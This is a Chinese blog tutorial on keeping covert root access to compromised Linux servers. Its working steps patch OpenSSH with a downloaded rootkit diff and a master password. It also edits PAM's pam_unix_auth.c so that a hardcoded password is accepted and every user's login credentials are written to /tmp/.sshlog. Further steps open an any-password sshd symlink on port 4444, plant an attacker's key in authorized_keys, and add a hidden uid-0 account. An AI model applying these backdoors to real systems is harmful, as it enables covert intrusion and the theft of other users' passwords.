内网渗透之Linux权限维持-OpenSSH&PAM后门&SSH软链接&公私钥登录

最新推荐文章于 2024-06-09 22:39:49 发布

mushangqiujin

最新推荐文章于 2024-06-09 22:39:49 发布

阅读量716

点赞数

分类专栏：内网渗透文章标签： linux ssh 服务器网络安全

本文链接：https://blog.csdn.net/m0_62207170/article/details/130789327

版权

内网渗透专栏收录该内容

17 篇文章 2 订阅

订阅专栏

该文章详细介绍了如何在Linux系统中创建OpenSSH和PAM后门，包括替换OpenSSH软件以记录密码，编辑PAM源码实现万能密码登录，并记录登录信息，以及利用软链接、公私钥和新账户进行登录的方法。

摘要由CSDN通过智能技术生成

0x01替换版本-OpenSSH后门

原理：替换本身操作系统的ssh协议支撑软件openssh，重新安装自定义的openssh,达到记录帐号密码，也可以采用万能密码连接的功能！
可以修改软件版本和删除安装记录
1.环境准备：

yum -y install openssl openssl-devel pam-devel zlib zlib-devel    
yum -y install gcc gcc-c++ make  
yum -y install patch                                 
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz 
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

2.编辑密码：

vim includes.h
177行
#define SECRETPW "abc123"#万能密码

3.安装编译：

./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install
service sshd restart   #重启sshd服务
systemctl status sshd.service #查看ssh启动状态

在这里插入图片描述

4.登录ssh

ssh root@192.168.85.128 
abc123

在这里插入图片描述
ssh服务重启失败

sshd -t
把报错的地方的key全部赋予600权限
chmod 600 /etc/ssh/ssh_host_ed25519_key

在这里插入图片描述
可能会出现

但是可以连接
拓展玩法：
1.可以采用万能密码登录
2.实现监控服务器登录登出的账号密码（发到外网）

0x02更改验证-SSH-PAM后门

PAM是一种认证模块，PAM可以作为Linux登录验证和各类基础服务的认证，简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务，然后加载相应的PAM的配置文件(位于/etc/pam.d)，最后调用认证文件(于/lib/security)进行安全认证.简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持
1.获取目标系统所使用的PAM版本，下载对应版本的pam版本
2.解压缩，修改pam_unix_auth.c文件，添加万能密码
3.编译安装PAM
4.编译完后的文件在：modules/pam_unix/.libs/pam_unix.so，复制到/lib64/security中进行替换，即使用万能密码登陆，将用户名密码记录到文件中。

复现：

关闭selinux 
setenforce 0
查询版本 
rpm -qa | grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8
yum install gcc flex flex-devel -y
-修改配置：
留PAM后门和保存SSH登录的账号密码
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);} 
name = p = NULL;
 
AUTH_RETURN;
-编译安装：
./configure && make
-备份复制：
备份原有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下 
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

登录成功
在这里插入图片描述

0x03登录方式-软链接&公私钥&新帐号

1.SSH软链接
在sshd服务配置启用PAM认证的前提下，PAM配置文件中控制标志为sufficient时，只要pam_rootok模块检测uid为0（root）即可成功认证登录。
SSH配置中开启了PAM进行身份验证
kali的ssh配置

vim /etc/ssh/sshd_config
PermitRootLogin yes                   有就改为yes，没有就添加
PasswordAuthentication yes           有就改为yes，没有就添加

查看是否使用PAM进行身份验证：

cat /etc/ssh/sshd_config|grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4444
centos登录
ssh root@192.168.85.132 -p 4444                 任意密码登录即可

在这里插入图片描述
登录成功

2.公私钥

centos开启：

vim /etc/ssh/sshd_config
PermitRootLogin yes                   有就改为yes，没有就添加
PasswordAuthentication no           有就改为no，没有就添加
尾行添加
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

kali生成密钥

ssh-keygen -t rsa    #三次回车

id_rsa : 私钥
id_rsa.pub : 公钥

将kali(攻击机的公钥内容复制到centos(攻击目标)的root目录下.ssh的authorized_keys文件中(此文件没有就新建)
kali登录

ssh root@192.168.85.128

登录成功
在这里插入图片描述

3.后门帐号
添加root用户

#添加账号test1，设置uid为0，密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
或
echo "test1:x:0:0::/:/bin/sh" >> /etc/passwd          #增加超级用户账号
passwd test1                             #修改xiaodi的密码为123456